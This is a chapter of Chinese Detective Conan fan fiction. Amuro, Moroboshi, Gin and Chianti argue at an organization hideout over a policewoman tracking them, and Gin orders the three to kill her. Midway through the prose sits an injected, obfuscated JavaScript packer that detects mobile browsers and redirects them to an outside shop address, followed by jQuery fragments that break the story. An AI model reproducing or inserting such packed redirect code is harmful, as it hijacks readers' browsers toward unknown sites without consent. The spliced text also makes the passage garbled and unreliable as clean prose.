被诸星大这么一提醒,安室透突然意识到了这些天追着他,的是谁——那天行动失败,诸星大定下的狙击地点太近,被对方找到,他负责接应,那段时间里,两个人应该交手了。
就算是他,推测也勉强是和诸星大打个平手,一个女警居然和真的牵绊住了,如果不是他开车的速度够快,等其他的警车到达现场,诸星大就跑不了了。
要知道他当时是担心零组的人出事才跑那么快的。
不仅如此,后面开车想要追上来的也是同一个人,那个车技可不像是警校能练出来的。
安室透脑子转的极快,电光石火之间,琴酒那不带一丝感情的视线已经过来了,而他也换了一副阴鸷的神色:“怎么,你也见过那个条子?”
“如果是同一个人的话。”安室透斟酌着说出情报的范围和真假,“那天展现出来的近身格斗、狙击和车技都在中上,之前从来没有见过这个类型的。”
他心里为对方捏了一把冷汗,组织的灭口速度太快,之前也不是没有能咬住他们的优秀警员,但是无一例外死于非命。
该死,应该警告那边不能这么冒进的!
如果琴酒真的决定对对方动手,他要怎么不被引起怀疑的帮助对方逃离呢?
“居然连你也见过?”基安蒂皱着眉打量着安室透,“不会是你们跟着龙舌兰做的那件事吧?”
“基安蒂。”琴酒平静的声音里听不出喜怒,“组织成员之间禁止交流任务内容。”
“啧!”基安蒂超大声的啧舌,“知道了知道了,但就是因为这件事,那两个废物才被条子盯上的吧?总得知道情况才好解决啊。”
她嘴角挂着极度兴奋的笑,抚摸着身后的狙击枪:“我要等不及了!”
“来吧,跟我好好解释一下——”
她居然直接把枪口对准了诸星大:“被撵着跑了这么久,你别告诉我你只知道这么点信息?”
咔——
基地的空气一下子变得安静下来。
安室透暗中擦了把冷汗,虽然基安蒂的枪对准的是诸星大,但是警告的是他们所有人。
“呵——”琴酒咬着一根烟,并没有点燃,也没有阻止基安蒂。
“别着急,我正在说了。”诸星大态度轻佻的举起手,虽然枪就对准了他的脑袋,但是他丝毫没有慌乱。
“我拿到了她的信息,没有什么下手的余地,不然也不至于这么狼狈。”
“没有下手的余地?”
诸星大点了点头:“横滨孤儿院出身,无父无母、没有熟悉的朋友,东大法学毕业后加入政府秘密部门,中间一段经历空缺,现在在警察厅工作。”
安室透的瞳孔微微收缩——好强硬的背景。
这个强硬不是指别的,而是指对方完全有底气咬着诸星大这个鱼饵不放,组织之前的几种手段根本威胁不到她。
听到警视厅的时候,琴酒的手就已经搭在了枪上,没等诸星大说完,他的枪口已经怼在了他的额头上:“你把公安的狗招过来了?”
“公安不好解决,我倒是有另外一个方案——把你解决了。”
据点的空气凝固在琴酒抬起手的那个瞬间,安室透在倒吸一口冷气的同时,把其他人的神态变化都收入眼中,大部分人都对琴酒的‘处决’乐见其成,当事人表现的也过于平静了,就好像胸有成竹一样。
他心道不好,诸星大展现出的诸多品质都表明了这是一个难缠的对手。
枪口抵上额头时,诸星大甚至没眨眼——琴酒的脾气比他想象中的还要暴躁。
但是,不能急,这还只是警告,不是处决,他还有机会。
如果不能把所有人拖下水,今天有危险的就是他了。
他慢慢抬起手,动作放缓到不会引发任何误会的速度,从内侧口袋里取出手机。解锁,点开邮件,把屏幕转向琴酒。
“这可不是我招惹的。”
他的语速比平时快,但没有慌乱。
“早在AHL的社长死的时候,她应该就盯上了我们。新社长岩田大辉泄露了合作信息,导致我和安室透被蹲伏——当天我们已经把人甩掉了。”
他顿了顿。
“是龙舌兰。非要让我在这个时候去解决那两个跑腿的。”
琴酒的视线从屏幕上抬起来,落在他脸上。那目光像在思量着什么。
这个时候就体现了工作留痕的重要性,诸星大是真的建议过龙舌兰,这个时候不要主动去动那两个总会屋的成员。
但是龙舌兰非说这两个人在中村洋仁家里,可能看到了他的样子,所以一定要灭口,而且必须是赶在警方发现他们之前灭口。
诸星大能怎么办呢?他只是个底层人员,面对上级的吩咐没有拒绝的空间,只能尽量的把事情闹大一点了。
他原本不太相信日本警察的能力。在确信已经被甩掉之后突然在住所的周围看到便衣,是意料之外;发现可以利用对方给组织找点麻烦,是顺势而为。等灭完口、联络完龙舌兰、自认为已经彻底甩掉追踪之后——
那辆便衣的车头灯还在后视镜里亮着。
接下来三天,只要他出现在室外,十分钟之内必有尾巴。他换过四辆车,三个安全屋。每次都以为甩干净了,回头一看,那个车头灯还在远处。
而且里面坐着的都是同一拨人。
这样一来一回,诸星大根本没有时间休息,也没有时间处理警方带来的麻烦,等再一次确认情报的时候,就是日本部分的组织成员都听说了这件事了。
“哼。”
琴酒发出一声极轻的鼻音。枪口没有移开,但他的视线转向了房间另一侧。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230328|197395||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
安室透靠在墙边,从琴酒拔枪的那一刻起就保持着那个姿势——后背贴墙,双手垂在身侧,视线落在地面某处。他脸上没有任何表情,但指节在袖口内慢慢收紧。
他知道诸星大会把他扯进来!刚刚琴酒点到为止,他就反复的提到自己!不过这一次,那个代号龙舌兰的组织成员更倒霉一点,能力不足的同时还遇到了急于向上爬的下级。
“龙舌兰。”琴酒把这三个字在齿间碾了一遍,“成事不足,败事有余。”
他把枪口从诸星大额头上移开,却没有收枪。
但比起找代号成员的麻烦,眼前这个问题似乎更大。琴酒锐利的目光看着诸星大:“再给你最后一个机会,把那个盯着你们的条子解决,不然就不用回来了。”
诸星大垂下眼:“我一个人?”
琴酒环视一周。目光从基安蒂脸上掠过,在她肩上的狙击枪上停了一瞬,然后落在安室透身上。
“基安蒂,安室透。”
安室透的指节在袖口内又收紧了一分。他抬起眼,正好对上诸星大的视线——那目光里没有侥幸,只有一种微妙的失望。
这家伙!刚刚反复提到他的名字就是为了现在!
他很快冷静下来,这一次被诸星大拉下水未必是坏事,因为他也拉出了龙舌兰这个代号成员,如果最后真让他解决了上级的同时还获得了拿到代号的机会才是满盘皆输。被牵扯进来之后虽然有危险,但也意味着他能不需要找借口的实时掌握所有的情报,以便于做出反应。
其实诸星大还是有点不满意,只拉下来两个人,还有一个不是代号成员,好处和风险不成正比。
但是琴酒的话不容置疑,他只能应下来。
最关键的是,有基安蒂在,他们的行动就不是由他指挥了。
琴酒离开后,据点里的空气反而更沉重了。
基安蒂靠在窗边,狙击枪搁在手边,目光从诸星大脸上移到安室透脸上,又移回去。像在比较两件成色相近的货物。
她不喜欢这两个人。
她虽然不怎么关心这些八卦,但是组织内的流言也多多少少听过,这一期的新人里,最有可能获得代号的就是他们几个了——可惜,诸星大在这一次的任务中出现在重大的失误,估计是没什么希望了,另一个安室透,她不喜欢这种行事诡谲的情报成员。要不是琴酒的命令,她宁愿一个人行动。
怎么感觉还不如另一个阴沉脸?
算了,反正是琴酒的命令,如果这两个人解决不了,她就直接干掉那个条子,这件事也就结束了。
“走吧。”她从窗边站起来,率先走向门口,“你们两个谁开车了?”
“我开了。”安室透跟上两步,露出一个恰到好处的笑,对着诸星大挑衅道“诸星的车应该都被警方标记了,现在一辆也用不了吧?”